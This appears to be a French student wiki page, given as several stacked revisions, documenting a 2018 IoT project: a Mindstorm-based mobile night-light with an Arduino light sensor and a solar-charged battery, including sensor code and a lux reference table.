Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:

{| class="wikitable alternance centre"
|-
! scope="row" | Illuminance
| Example
|-
! scope="row" | 0.002 lux
| Moonless clear night sky
|-
! scope="row" | 0.27 - 1 lux
| Full moon on a clear night
|-
! scope="row" | 3.4 lux
| Dark limit of civil twilight under a clear sky
|-
! scope="row" | 50 lux
| Family living room
|-
! scope="row" | 80 lux
| Hallway/toilet
|-
! scope="row" | 100 lux
| Very dark overcast day
|-
! scope="row" | 300 - 500 lux
| Sunrise or sunset on a clear day. Well-lit office area
|-
! scope="row" | 1,000 lux
| Overcast day; typical TV studio lighting
|-
! scope="row" | 10,000 - 25,000 lux
| Full daylight (not direct sun)
|-
! scope="row" | 32,000 - 130,000 lux
| Direct sunlight
|-
|}

https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it

http://www.instructables.com/id/Solar-Battery-Charging/

==Détail du travail de la deuxième séance==

Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).

<pre>

int sensorPin = A0, rawValue, maxValue=0, marge = 50;
boolean firstSearch = false, searchAgain = false, keepMoving;

void setup()
{
analogReference(EXTERNAL);
Serial.begin(9600);
}

void loop()
{
while (firstSearch == false || searchAgain == true)
{
rawValue = analogRead(sensorPin);
if (rawValue > maxValue)
{
maxValue = rawValue;
}
searchAgain = false, firstSearch = true;
}

Serial.println("PAUSE");
//3seconds
delay(3000);
Serial.println("WERE BACK");

do
{
rawValue = analogRead(sensorPin);
if (rawValue < maxValue - marge)
{
keepMoving = true;
}
else
{
keepMoving = false;
}
Serial.println(keepMoving);
} while (keepMoving == true);

//delay(6000);
searchAgain = true;
}

</pre>

Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.

==Détail du travail de la troisième séance==
http://www.raspberry-projects.com/pi/pi-operating-systems/raspbian/bluetooth/bluetooth-commands

https://www.npmjs.com/package/bluetoothctl

https://lifehacker.com/everything-you-need-to-set-up-bluetooth-on-the-raspberr-1768482065

https://peip-ima.plil.fr/mediawiki/index.php/BE_2017-2018

En parallèle de la programmation, il a fallu concevoir le circuit permettant de faire la liaison entre panneau solaire et la batterie, à la fin de la séance, il a donc été décidé de reprendre nous même le circuit qui allait jouer ce rôle.

==Détail du travail de la quatrième séance==
Réalisation carte.

<gallery widths="500px" heights="600px">
Fichier:carte_veilleuse.png|Photo 1 : Circuit qui a été réalisé durant la séance
Fichier:circuit_veilleuse.png|Photo 2 : Circuit à réaliser
</gallery>

Le but était donc de réaliser le même circuit que l'on peut voir sur la deuxième photo et c'est ce qui a été réalisé comme on peut le voir sur la première photo.

==Détail du travail de la cinquième séance==
Encore des essaies bluetooth et code mindstorm indépendant et impression du circuit.
[[Fichier:Mindstorm_code.jpg|200px|thumb|left|texte descriptif]]

==Détail du travail de la sixième séance==

=Rendu=

==Poster==
Version électronique du poster :
[[Fichier:2017_IOT_P4_poster.png|center|500px]]

==Fichiers rendus==

Notre application : [[Media:2017_IOT_P0_application.zip]]

Fichier:Mindstorm code.jpg

2018-01-23T23:19:06Z

Bhagui :

P4 IOT 2017

2018-01-23T23:18:46Z

Bhagui : /* Détail du travail de la cinquième séance */

=Présentation du sujet =

Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.

==Contexte==

Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things).

==Description du projet==

Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).

=Réalisation=

==Matériel utilisé==

* Mindstorm
* Panneau photovoltaïque
* Capteur de lumière
* Arduino Uno

==Suivi de réalisation==
{| class="wikitable alternance centre"
|-
! scope="row" | Séance 1 (08/01/2018)
| Formation des groupes, chercher un sujet et faire valider ce-dernier.
|-
! scope="row" | Séance 2 (09/01/2018)
| Code d'utilisation du capteur lumière et initiation au Mindstorm.
|-
! scope="row" | Séance 3 (16/01/2018)
| Utilisation de Fritzing pour réaliser le circuit reliant le panneau photovoltaïque à la batterie
|-
! scope="row" | Séance 4 (17/01/2018)
| Finition du circuit sur Fritzing
|-
! scope="row" | Séance 5 (22/01/2018)
| Impression du circuit
|-
! scope="row" | Séance 6 (24/01/2018)
| Soutenance et présentation de notre projet au reste du groupe de module
|}

==Détail du travail de la première séance==

Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:

<pre>

int sensorPin = A0; // select the input pin for the potentiometer

float rawRange = 1024; // 3.3v
float logRange = 5.0; // 3.3v = 10^5 lux

void setup()
{
analogReference(EXTERNAL); //
Serial.begin(9600);
Serial.println("Adafruit Analog Light Sensor Test");
}

void loop()
{
// read the raw value from the sensor:
int rawValue = analogRead(sensorPin);

Serial.print("Raw = ");
Serial.print(rawValue);
Serial.print(" - Lux = ");
Serial.println(RawToLux(rawValue));
delay(1000);
}

float RawToLux(int raw)
{
float logLux = raw * logRange / rawRange;
return pow(10, logLux);
}

</pre>

Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:

{| class="wikitable alternance centre"
|-
! scope="row" | Illuminance
| Example
|-
! scope="row" | 0.002 lux
| Moonless clear night sky
|-
! scope="row" | 0.27 - 1 lux
| Full moon on a clear night
|-
! scope="row" | 3.4 lux
| Dark limit of civil twilight under a clear sky
|-
! scope="row" | 50 lux
| Family living room
|-
! scope="row" | 80 lux
| Hallway/toilet
|-
! scope="row" | 100 lux
| Very dark overcast day
|-
! scope="row" | 300 - 500 lux
| Sunrise or sunset on a clear day. Well-lit office area
|-
! scope="row" | 1,000 lux
| Overcast day; typical TV studio lighting
|-
! scope="row" | 10,000 - 25,000 lux
| Full daylight (not direct sun)
|-
! scope="row" | 32,000 - 130,000 lux
| Direct sunlight
|-
|}

https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it

http://www.instructables.com/id/Solar-Battery-Charging/

==Détail du travail de la deuxième séance==

Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).

<pre>

int sensorPin = A0, rawValue, maxValue=0, marge = 50;
boolean firstSearch = false, searchAgain = false, keepMoving;

void setup()
{
analogReference(EXTERNAL);
Serial.begin(9600);
}

void loop()
{
while (firstSearch == false || searchAgain == true)
{
rawValue = analogRead(sensorPin);
if (rawValue > maxValue)
{
maxValue = rawValue;
}
searchAgain = false, firstSearch = true;
}

Serial.println("PAUSE");
//3seconds
delay(3000);
Serial.println("WERE BACK");

do
{
rawValue = analogRead(sensorPin);
if (rawValue < maxValue - marge)
{
keepMoving = true;
}
else
{
keepMoving = false;
}
Serial.println(keepMoving);
} while (keepMoving == true);

//delay(6000);
searchAgain = true;
}

</pre>

Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.

==Détail du travail de la troisième séance==
http://www.raspberry-projects.com/pi/pi-operating-systems/raspbian/bluetooth/bluetooth-commands

https://www.npmjs.com/package/bluetoothctl

https://lifehacker.com/everything-you-need-to-set-up-bluetooth-on-the-raspberr-1768482065

https://peip-ima.plil.fr/mediawiki/index.php/BE_2017-2018

En parallèle de la programmation, il a fallu concevoir le circuit permettant de faire la liaison entre panneau solaire et la batterie, à la fin de la séance, il a donc été décidé de reprendre nous même le circuit qui allait jouer ce rôle.

==Détail du travail de la quatrième séance==
Réalisation carte.

<gallery widths="500px" heights="600px">
Fichier:carte_veilleuse.png|Photo 1 : Circuit qui a été réalisé durant la séance
Fichier:circuit_veilleuse.png|Photo 2 : Circuit à réaliser
</gallery>

Le but était donc de réaliser le même circuit que l'on peut voir sur la deuxième photo et c'est ce qui a été réalisé comme on peut le voir sur la première photo.

==Détail du travail de la cinquième séance==
Encore des essaies bluetooth et code mindstorm indépendant et impression du circuit.
[[Fichier:Mindstorm_code.jpg]]

==Détail du travail de la sixième séance==

=Rendu=

==Poster==
Version électronique du poster :
[[Fichier:2017_IOT_P4_poster.png|center|500px]]

==Fichiers rendus==

Notre application : [[Media:2017_IOT_P0_application.zip]]

P4 IOT 2017

2018-01-23T22:48:53Z

Bhagui : /* Poster */

=Présentation du sujet =

Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.

==Contexte==

Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things).

==Description du projet==

Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).

=Réalisation=

==Matériel utilisé==

* Mindstorm
* Panneau photovoltaïque
* Capteur de lumière
* Arduino Uno

==Suivi de réalisation==
{| class="wikitable alternance centre"
|-
! scope="row" | Séance 1 (08/01/2018)
| Formation des groupes, chercher un sujet et faire valider ce-dernier.
|-
! scope="row" | Séance 2 (09/01/2018)
| Code d'utilisation du capteur lumière et initiation au Mindstorm.
|-
! scope="row" | Séance 3 (16/01/2018)
| Utilisation de Fritzing pour réaliser le circuit reliant le panneau photovoltaïque à la batterie
|-
! scope="row" | Séance 4 (17/01/2018)
| Finition du circuit sur Fritzing
|-
! scope="row" | Séance 5 (22/01/2018)
| Impression du circuit
|-
! scope="row" | Séance 6 (24/01/2018)
| Soutenance et présentation de notre projet au reste du groupe de module
|}

==Détail du travail de la première séance==

Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:

<pre>

int sensorPin = A0; // select the input pin for the potentiometer

float rawRange = 1024; // 3.3v
float logRange = 5.0; // 3.3v = 10^5 lux

void setup()
{
analogReference(EXTERNAL); //
Serial.begin(9600);
Serial.println("Adafruit Analog Light Sensor Test");
}

void loop()
{
// read the raw value from the sensor:
int rawValue = analogRead(sensorPin);

Serial.print("Raw = ");
Serial.print(rawValue);
Serial.print(" - Lux = ");
Serial.println(RawToLux(rawValue));
delay(1000);
}

float RawToLux(int raw)
{
float logLux = raw * logRange / rawRange;
return pow(10, logLux);
}

</pre>

Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:

{| class="wikitable alternance centre"
|-
! scope="row" | Illuminance
| Example
|-
! scope="row" | 0.002 lux
| Moonless clear night sky
|-
! scope="row" | 0.27 - 1 lux
| Full moon on a clear night
|-
! scope="row" | 3.4 lux
| Dark limit of civil twilight under a clear sky
|-
! scope="row" | 50 lux
| Family living room
|-
! scope="row" | 80 lux
| Hallway/toilet
|-
! scope="row" | 100 lux
| Very dark overcast day
|-
! scope="row" | 300 - 500 lux
| Sunrise or sunset on a clear day. Well-lit office area
|-
! scope="row" | 1,000 lux
| Overcast day; typical TV studio lighting
|-
! scope="row" | 10,000 - 25,000 lux
| Full daylight (not direct sun)
|-
! scope="row" | 32,000 - 130,000 lux
| Direct sunlight
|-
|}

https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it

http://www.instructables.com/id/Solar-Battery-Charging/

==Détail du travail de la deuxième séance==

Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).

<pre>

int sensorPin = A0, rawValue, maxValue=0, marge = 50;
boolean firstSearch = false, searchAgain = false, keepMoving;

void setup()
{
analogReference(EXTERNAL);
Serial.begin(9600);
}

void loop()
{
while (firstSearch == false || searchAgain == true)
{
rawValue = analogRead(sensorPin);
if (rawValue > maxValue)
{
maxValue = rawValue;
}
searchAgain = false, firstSearch = true;
}

Serial.println("PAUSE");
//3seconds
delay(3000);
Serial.println("WERE BACK");

do
{
rawValue = analogRead(sensorPin);
if (rawValue < maxValue - marge)
{
keepMoving = true;
}
else
{
keepMoving = false;
}
Serial.println(keepMoving);
} while (keepMoving == true);

//delay(6000);
searchAgain = true;
}

</pre>

Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.

==Détail du travail de la troisième séance==
http://www.raspberry-projects.com/pi/pi-operating-systems/raspbian/bluetooth/bluetooth-commands

https://www.npmjs.com/package/bluetoothctl

https://lifehacker.com/everything-you-need-to-set-up-bluetooth-on-the-raspberr-1768482065

https://peip-ima.plil.fr/mediawiki/index.php/BE_2017-2018

En parallèle de la programmation, il a fallu concevoir le circuit permettant de faire la liaison entre panneau solaire et la batterie, à la fin de la séance, il a donc été décidé de reprendre nous même le circuit qui allait jouer ce rôle.

==Détail du travail de la quatrième séance==
Réalisation carte.

<gallery widths="500px" heights="600px">
Fichier:carte_veilleuse.png|Photo 1 : Circuit qui a été réalisé durant la séance
Fichier:circuit_veilleuse.png|Photo 2 : Circuit à réaliser
</gallery>

Le but était donc de réaliser le même circuit que l'on peut voir sur la deuxième photo et c'est ce qui a été réalisé comme on peut le voir sur la première photo.

==Détail du travail de la cinquième séance==
Encore des essaies bluetooth et code mindstorm indépendant et impression du circuit.

==Détail du travail de la sixième séance==

=Rendu=

==Poster==
Version électronique du poster :
[[Fichier:2017_IOT_P4_poster.png|center|500px]]

==Fichiers rendus==

Notre application : [[Media:2017_IOT_P0_application.zip]]

Fichier:2017 IOT P4 poster.png

2018-01-23T22:47:42Z

Bhagui :

P4 IOT 2017

2018-01-23T22:47:21Z

Bhagui : /* Poster */

=Présentation du sujet =

Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.

==Contexte==

Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things).

==Description du projet==

Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).

=Réalisation=

==Matériel utilisé==

* Mindstorm
* Panneau photovoltaïque
* Capteur de lumière
* Arduino Uno

==Suivi de réalisation==
{| class="wikitable alternance centre"
|-
! scope="row" | Séance 1 (08/01/2018)
| Formation des groupes, chercher un sujet et faire valider ce-dernier.
|-
! scope="row" | Séance 2 (09/01/2018)
| Code d'utilisation du capteur lumière et initiation au Mindstorm.
|-
! scope="row" | Séance 3 (16/01/2018)
| Utilisation de Fritzing pour réaliser le circuit reliant le panneau photovoltaïque à la batterie
|-
! scope="row" | Séance 4 (17/01/2018)
| Finition du circuit sur Fritzing
|-
! scope="row" | Séance 5 (22/01/2018)
| Impression du circuit
|-
! scope="row" | Séance 6 (24/01/2018)
| Soutenance et présentation de notre projet au reste du groupe de module
|}

==Détail du travail de la première séance==

Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:

<pre>

int sensorPin = A0; // select the input pin for the potentiometer

float rawRange = 1024; // 3.3v
float logRange = 5.0; // 3.3v = 10^5 lux

void setup()
{
analogReference(EXTERNAL); //
Serial.begin(9600);
Serial.println("Adafruit Analog Light Sensor Test");
}

void loop()
{
// read the raw value from the sensor:
int rawValue = analogRead(sensorPin);

Serial.print("Raw = ");
Serial.print(rawValue);
Serial.print(" - Lux = ");
Serial.println(RawToLux(rawValue));
delay(1000);
}

float RawToLux(int raw)
{
float logLux = raw * logRange / rawRange;
return pow(10, logLux);
}

</pre>

Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:

{| class="wikitable alternance centre"
|-
! scope="row" | Illuminance
| Example
|-
! scope="row" | 0.002 lux
| Moonless clear night sky
|-
! scope="row" | 0.27 - 1 lux
| Full moon on a clear night
|-
! scope="row" | 3.4 lux
| Dark limit of civil twilight under a clear sky
|-
! scope="row" | 50 lux
| Family living room
|-
! scope="row" | 80 lux
| Hallway/toilet
|-
! scope="row" | 100 lux
| Very dark overcast day
|-
! scope="row" | 300 - 500 lux
| Sunrise or sunset on a clear day. Well-lit office area
|-
! scope="row" | 1,000 lux
| Overcast day; typical TV studio lighting
|-
! scope="row" | 10,000 - 25,000 lux
| Full daylight (not direct sun)
|-
! scope="row" | 32,000 - 130,000 lux
| Direct sunlight
|-
|}

https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it

http://www.instructables.com/id/Solar-Battery-Charging/

==Détail du travail de la deuxième séance==

Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).

<pre>

int sensorPin = A0, rawValue, maxValue=0, marge = 50;
boolean firstSearch = false, searchAgain = false, keepMoving;

void setup()
{
analogReference(EXTERNAL);
Serial.begin(9600);
}

void loop()
{
while (firstSearch == false || searchAgain == true)
{
rawValue = analogRead(sensorPin);
if (rawValue > maxValue)
{
maxValue = rawValue;
}
searchAgain = false, firstSearch = true;
}

Serial.println("PAUSE");
//3seconds
delay(3000);
Serial.println("WERE BACK");

do
{
rawValue = analogRead(sensorPin);
if (rawValue < maxValue - marge)
{
keepMoving = true;
}
else
{
keepMoving = false;
}
Serial.println(keepMoving);
} while (keepMoving == true);

//delay(6000);
searchAgain = true;
}

</pre>

Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.

==Détail du travail de la troisième séance==
http://www.raspberry-projects.com/pi/pi-operating-systems/raspbian/bluetooth/bluetooth-commands

https://www.npmjs.com/package/bluetoothctl

https://lifehacker.com/everything-you-need-to-set-up-bluetooth-on-the-raspberr-1768482065

https://peip-ima.plil.fr/mediawiki/index.php/BE_2017-2018

En parallèle de la programmation, il a fallu concevoir le circuit permettant de faire la liaison entre panneau solaire et la batterie, à la fin de la séance, il a donc été décidé de reprendre nous même le circuit qui allait jouer ce rôle.

==Détail du travail de la quatrième séance==
Réalisation carte.

<gallery widths="500px" heights="600px">
Fichier:carte_veilleuse.png|Photo 1 : Circuit qui a été réalisé durant la séance
Fichier:circuit_veilleuse.png|Photo 2 : Circuit à réaliser
</gallery>

Le but était donc de réaliser le même circuit que l'on peut voir sur la deuxième photo et c'est ce qui a été réalisé comme on peut le voir sur la première photo.

==Détail du travail de la cinquième séance==
Encore des essaies bluetooth et code mindstorm indépendant et impression du circuit.

==Détail du travail de la sixième séance==

=Rendu=

==Poster==
Version électronique du poster :
[[Fichier:2017_IOT_P4_poster.png|center|500px|Notre poster]]

==Fichiers rendus==

Notre application : [[Media:2017_IOT_P0_application.zip]]

P4 IOT 2017

2018-01-23T18:28:54Z

Bhagui : /* Détail du travail de la quatrième séance */

=Présentation du sujet =

Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.

==Contexte==

Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things).

==Description du projet==

Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).

=Réalisation=

==Matériel utilisé==

* Mindstorm
* Panneau photovoltaïque
* Capteur de lumière
* Arduino Uno

==Suivi de réalisation==
{| class="wikitable alternance centre"
|-
! scope="row" | Séance 1 (08/01/2018)
| Formation des groupes, chercher un sujet et faire valider ce-dernier.
|-
! scope="row" | Séance 2 (09/01/2018)
| Code d'utilisation du capteur lumière et initiation au Mindstorm.
|-
! scope="row" | Séance 3 (16/01/2018)
| Utilisation de Fritzing pour réaliser le circuit reliant le panneau photovoltaïque à la batterie
|-
! scope="row" | Séance 4 (17/01/2018)
| Finition du circuit sur Fritzing
|-
! scope="row" | Séance 5 (22/01/2018)
| Impression du circuit
|-
! scope="row" | Séance 6 (24/01/2018)
| Soutenance et présentation de notre projet au reste du groupe de module
|}

==Détail du travail de la première séance==

Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:

<pre>

int sensorPin = A0; // select the input pin for the potentiometer

float rawRange = 1024; // 3.3v
float logRange = 5.0; // 3.3v = 10^5 lux

void setup()
{
analogReference(EXTERNAL); //
Serial.begin(9600);
Serial.println("Adafruit Analog Light Sensor Test");
}

void loop()
{
// read the raw value from the sensor:
int rawValue = analogRead(sensorPin);

Serial.print("Raw = ");
Serial.print(rawValue);
Serial.print(" - Lux = ");
Serial.println(RawToLux(rawValue));
delay(1000);
}

float RawToLux(int raw)
{
float logLux = raw * logRange / rawRange;
return pow(10, logLux);
}

</pre>

Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:

{| class="wikitable alternance centre"
|-
! scope="row" | Illuminance
| Example
|-
! scope="row" | 0.002 lux
| Moonless clear night sky
|-
! scope="row" | 0.27 - 1 lux
| Full moon on a clear night
|-
! scope="row" | 3.4 lux
| Dark limit of civil twilight under a clear sky
|-
! scope="row" | 50 lux
| Family living room
|-
! scope="row" | 80 lux
| Hallway/toilet
|-
! scope="row" | 100 lux
| Very dark overcast day
|-
! scope="row" | 300 - 500 lux
| Sunrise or sunset on a clear day. Well-lit office area
|-
! scope="row" | 1,000 lux
| Overcast day; typical TV studio lighting
|-
! scope="row" | 10,000 - 25,000 lux
| Full daylight (not direct sun)
|-
! scope="row" | 32,000 - 130,000 lux
| Direct sunlight
|-
|}

https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it

http://www.instructables.com/id/Solar-Battery-Charging/

==Détail du travail de la deuxième séance==

Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).

<pre>

int sensorPin = A0, rawValue, maxValue=0, marge = 50;
boolean firstSearch = false, searchAgain = false, keepMoving;

void setup()
{
analogReference(EXTERNAL);
Serial.begin(9600);
}

void loop()
{
while (firstSearch == false || searchAgain == true)
{
rawValue = analogRead(sensorPin);
if (rawValue > maxValue)
{
maxValue = rawValue;
}
searchAgain = false, firstSearch = true;
}

Serial.println("PAUSE");
//3seconds
delay(3000);
Serial.println("WERE BACK");

do
{
rawValue = analogRead(sensorPin);
if (rawValue < maxValue - marge)
{
keepMoving = true;
}
else
{
keepMoving = false;
}
Serial.println(keepMoving);
} while (keepMoving == true);

//delay(6000);
searchAgain = true;
}

</pre>

Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.

==Détail du travail de la troisième séance==
http://www.raspberry-projects.com/pi/pi-operating-systems/raspbian/bluetooth/bluetooth-commands

https://www.npmjs.com/package/bluetoothctl

https://lifehacker.com/everything-you-need-to-set-up-bluetooth-on-the-raspberr-1768482065

https://peip-ima.plil.fr/mediawiki/index.php/BE_2017-2018

==Détail du travail de la quatrième séance==
Réalisation carte.

<gallery widths="500px" heights="600px">
Fichier:carte_veilleuse.png|Photo 1 : M.
Fichier:circuit_veilleuse.png|Photo 2 : A.
</gallery>

==Détail du travail de la cinquième séance==
Encore des essaies bluetooth et code mindstorm indépendant.

==Détail du travail de la sixième séance==

=Rendu=

==Poster==
Version électronique du poster :
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]

==Fichiers rendus==

Notre application : [[Media:2017_IOT_P0_application.zip]]

P4 IOT 2017

2018-01-23T18:28:23Z

Bhagui : /* Détail du travail de la quatrième séance */

=Présentation du sujet =

Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.

==Contexte==

Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things).

==Description du projet==

Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).

=Réalisation=

==Matériel utilisé==

* Mindstorm
* Panneau photovoltaïque
* Capteur de lumière
* Arduino Uno

==Suivi de réalisation==
{| class="wikitable alternance centre"
|-
! scope="row" | Séance 1 (08/01/2018)
| Formation des groupes, chercher un sujet et faire valider ce-dernier.
|-
! scope="row" | Séance 2 (09/01/2018)
| Code d'utilisation du capteur lumière et initiation au Mindstorm.
|-
! scope="row" | Séance 3 (16/01/2018)
| Utilisation de Fritzing pour réaliser le circuit reliant le panneau photovoltaïque à la batterie
|-
! scope="row" | Séance 4 (17/01/2018)
| Finition du circuit sur Fritzing
|-
! scope="row" | Séance 5 (22/01/2018)
| Impression du circuit
|-
! scope="row" | Séance 6 (24/01/2018)
| Soutenance et présentation de notre projet au reste du groupe de module
|}

==Détail du travail de la première séance==

Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:

<pre>

int sensorPin = A0; // select the input pin for the potentiometer

float rawRange = 1024; // 3.3v
float logRange = 5.0; // 3.3v = 10^5 lux

void setup()
{
analogReference(EXTERNAL); //
Serial.begin(9600);
Serial.println("Adafruit Analog Light Sensor Test");
}

void loop()
{
// read the raw value from the sensor:
int rawValue = analogRead(sensorPin);

Serial.print("Raw = ");
Serial.print(rawValue);
Serial.print(" - Lux = ");
Serial.println(RawToLux(rawValue));
delay(1000);
}

float RawToLux(int raw)
{
float logLux = raw * logRange / rawRange;
return pow(10, logLux);
}

</pre>

Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:

{| class="wikitable alternance centre"
|-
! scope="row" | Illuminance
| Example
|-
! scope="row" | 0.002 lux
| Moonless clear night sky
|-
! scope="row" | 0.27 - 1 lux
| Full moon on a clear night
|-
! scope="row" | 3.4 lux
| Dark limit of civil twilight under a clear sky
|-
! scope="row" | 50 lux
| Family living room
|-
! scope="row" | 80 lux
| Hallway/toilet
|-
! scope="row" | 100 lux
| Very dark overcast day
|-
! scope="row" | 300 - 500 lux
| Sunrise or sunset on a clear day. Well-lit office area
|-
! scope="row" | 1,000 lux
| Overcast day; typical TV studio lighting
|-
! scope="row" | 10,000 - 25,000 lux
| Full daylight (not direct sun)
|-
! scope="row" | 32,000 - 130,000 lux
| Direct sunlight
|-
|}

https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it

http://www.instructables.com/id/Solar-Battery-Charging/

==Détail du travail de la deuxième séance==

